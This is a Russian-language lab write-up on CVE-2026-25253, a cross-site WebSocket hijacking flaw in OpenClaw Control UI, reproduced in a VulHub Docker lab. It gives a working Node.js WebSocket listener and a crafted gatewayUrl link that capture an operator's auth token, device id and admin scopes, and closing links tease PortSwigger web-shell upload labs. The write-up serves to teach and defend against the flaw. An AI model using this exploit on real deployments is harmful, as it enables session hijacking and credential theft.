На странице
Cross-Site WebSocket Hijacking в OpenClaw
Уязвимость
CVE-2026-25253 (CVSS 8.8) — уязвимость в OpenClaw Control UI (clawdbot до версии 2026.1.28). UI принимает query-параметр gatewayUrl и автоматически подключается по нему через WebSocket без валидации и подтверждения пользователя. Атакующий может направить жертву на страницу с подставным gatewayUrl, перехватить auth.token, identity устройства и операторские scopes. С украденными credentials возможен перехват сессии и RCE.
Лаборатория
Источник: VulHub — CVE-2026-25253
CVSS: 8.8 (High)
Цель: Перехватить auth.token оператора через подмену WebSocket-сервера.
Поднимаем окружение:
docker compose up -d
Разведка
Стартовая страница — Chat:

Переходим на Overview:

На странице видим поле WebSocket URL — возможно, в него рефлектится query-параметр gatewayUrl из описания CVE. Проверяем:
http://localhost:18789/overview?gatewayUrl=ws://localhost:3001
Подтверждено: в поле WebSocket URL появляется переданное значение ws://localhost:3001, подключение происходит автоматически. Никакого подтверждения от пользователя не требуется.
Анализ WebSocket-трафика
Burp здесь не нужен — смотрим WebSocket-фреймы прямо в DevTools Chrome (вкладка Network → WS).
Возвращаем gatewayUrl к легитимному серверу (ws://localhost:18789) и наблюдаем обмен сообщениями.
Сервер → клиент — challenge:

{
"type": "event",
"event": "connect.challenge",
"payload": {
"nonce": "f57f7bae-ae58-4de2-9478-66604578b494",
"ts": 1776687360893
}
}
Клиент → сервер — connect с полными credentials:

{
"type": "req",
"method": "connect",
"params": {
"auth": {
"token": "24e16b4eb430478fbab207a03568ac3a"
},
"client": {
"id": "clawdbot-control-ui",
"version": "dev",
"platform": "MacIntel",
"mode": "webchat"
},
"device": {
"id": "4d546a991107044581ddb7f3975ee77ce81043ca4b90e625246a40f3dae974ae"
},
"role": "operator",
"scopes": ["operator.admin", "operator.approvals", "operator.pairing"]
}
}
Клиент отправляет auth.token, device.id, роль operator со scopes admin, approvals, pairing — всё, что нужно для перехвата сессии.
Эксплуатация
Пишем минимальный WebSocket-сервер, который ловит credentials подключающегося клиента:
// ws.mjs
import { WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 7777 });
wss.on('connection', (ws) => {
console.log('[+] Client connected');
ws.on('message', (data) => {
const msg = JSON.parse(data);
console.log('[+] auth.token:', msg.params?.auth?.token);
console.log('[+] device.id: ', msg.params?.device?.id);
console.log('[+] role: ', msg.params?.role);
console.log('[+] scopes: ', msg.params?.scopes);
});
ws.on('close', () => console.log('[-] Client disconnected'));
});
console.log('[*] Listening on ws://localhost:7777');
Запускаем:
node ws.mjs
Точка входа — подставляем наш сервер в gatewayUrl:
http://localhost:18789/overview?gatewayUrl=ws://localhost:7777

Клиент подключается и сразу отправляет credentials — даже без challenge-сообщения от сервера. Нам не нужно ничего имитировать:

auth.token добыт.
Вывод
Разработчик полностью доверяет входным данным — gatewayUrl берётся из query-строки и используется для WebSocket-подключения без какой-либо проверки. Клиент подключается и сразу отправляет credentials.
Whitelist в данном случае не поможет: сама функция подразумевает подключение к произвольному серверу. Защита здесь — спросить пользователя, доверяет ли он данному URL, прежде чем устанавливать соединение.
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.